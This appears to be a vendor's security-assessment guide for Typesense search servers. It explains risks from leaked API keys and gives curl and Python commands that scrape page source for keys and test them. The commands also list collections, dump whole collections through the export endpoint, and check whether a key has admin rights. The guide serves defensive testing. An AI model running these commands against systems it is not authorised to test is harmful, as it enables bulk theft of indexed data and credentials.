Typesense is a fast, typo-tolerant open-source search engine often used as an Algolia alternative, designed for direct browser-to-Typesense queries using a search-only API key. This architecture creates a common security pattern: the search-only API key, intended only for read operations, is embedded in public JavaScript and gives anyone who finds it full document read access to all indexed collections; if an application accidentally embeds the admin API key instead of the search-only key (a common developer mistake), full administrative control is exposed including the ability to delete collections, modify schemas, and create new API keys; Typesense instances accessible directly on the internet expose all API calls to network scanning; the /collections/{name}/documents/export endpoint exports all documents in a collection as JSON Lines without any per-request result limits — a search-only key is sufficient to dump an entire collection; and the /keys endpoint lists all configured API keys and their permissions when queried with the admin key. This guide covers systematic Typesense security assessment.
# Typesense default port: 8108
# Health endpoint always responds without authentication
curl -s "http://typesense.example.com:8108/health" 2>/dev/null
# Returns: {"ok":true}
# Version info
curl -s "http://typesense.example.com:8108/debug" \
-H "X-TYPESENSE-API-KEY: test" 2>/dev/null | \
python3 -c "
import json,sys
try:
d = json.load(sys.stdin)
print(f\"Version: {d.get('version','?')}\")
except: pass
" 2>/dev/null
# Common Typesense paths in application JavaScript bundles
# Search for embedded API keys in page source
curl -s "https://example.com/" 2>/dev/null | \
grep -oE '[a-zA-Z0-9]{24,}' | \
while read KEY; do
RESULT=$(curl -s -o /dev/null -w "%{http_code}" \
"http://typesense.example.com:8108/collections" \
-H "X-TYPESENSE-API-KEY: ${KEY}" 2>/dev/null)
if [ "$RESULT" == "200" ]; then
echo "VALID KEY FOUND IN PAGE SOURCE: ${KEY}"
fi
done
# With a valid API key (even search-only), enumerate all collections
TYPESENSE_KEY="your-discovered-key"
TYPESENSE_HOST="http://typesense.example.com:8108"
# List all collections (search-only keys may have access to all collections)
curl -s "${TYPESENSE_HOST}/collections" \
-H "X-TYPESENSE-API-KEY: ${TYPESENSE_KEY}" 2>/dev/null | \
python3 -c "
import json,sys
collections = json.load(sys.stdin)
if isinstance(collections, list):
print(f'Collections: {len(collections)}')
for c in collections:
print(f\" {c['name']:40} docs={c.get('num_documents',0):>10}\")
print(f\" Fields: {[f['name'] for f in c.get('fields',[])[:10]]}\")
elif isinstance(collections, dict) and 'message' in collections:
print(f'Error: {collections[\"message\"]}')
" 2>/dev/null
# Export ALL documents from a collection (no pagination limit)
# The /export endpoint returns JSONL — all documents, no result cap
COLLECTION="your-collection-name"
curl -s "${TYPESENSE_HOST}/collections/${COLLECTION}/documents/export" \
-H "X-TYPESENSE-API-KEY: ${TYPESENSE_KEY}" 2>/dev/null | \
python3 -c "
import sys
lines = sys.stdin.readlines()
print(f'Exported {len(lines)} documents')
if lines:
import json
first = json.loads(lines[0])
print(f'Sample fields: {list(first.keys())}')
print(f'First doc: {str(first)[:200]}')
" 2>/dev/null
# Test if key is admin (can list all API keys)
curl -s "${TYPESENSE_HOST}/keys" \
-H "X-TYPESENSE-API-KEY: ${TYPESENSE_KEY}" 2>/dev/null | \
python3 -c "
import json,sys
d = json.load(sys.stdin)
if 'keys' in d:
print(f'ADMIN KEY: Can list all {len(d[\"keys\"])} API keys')
for k in d['keys']:
print(f\" Key ID {k['id']}: actions={k.get('actions','?')} collections={k.get('collections','?')}\")
elif 'message' in d:
print(f'Not admin (search-only key): {d[\"message\"]}')
" 2>/dev/null
documents:export action; search-only keys should only be permitted the documents:search action| Security Test | Method | Risk |
|---|---|---|
| Search-only API key embedded in client-side JavaScript | Grep page source for 24+ char alphanumeric strings; test against /collections endpoint | High |
| Admin API key accidentally in client-side JavaScript | Test discovered keys against /keys endpoint — 200 response confirms admin-level access | Critical |
| All documents exportable via /export with search key | GET /collections/{name}/documents/export — dumps entire collection; no per-request limit | High |
| All collections accessible with one search key | GET /collections — lists all collection names and document counts with unscoped key | High |
| Typesense port 8108 accessible from internet | Network probe port 8108 — Typesense API directly reachable enables bulk key testing | High |
| Sensitive fields indexed and readable via search | Search all collections for email, password, token, key field names — reveals data scope | Medium |
Ironimo tests Typesense deployments for API keys embedded in client-side JavaScript (both search-only and admin), the admin key granting full collection management and key creation capabilities, document export via /collections/{name}/documents/export allowing bulk extraction of all indexed content with a search-only key, Typesense port 8108 directly accessible from the internet without firewall protection, unscoped API keys that access all collections rather than specific allowed ones, and sensitive data fields indexed in collections that expose PII or credentials via the search API.
Start free scan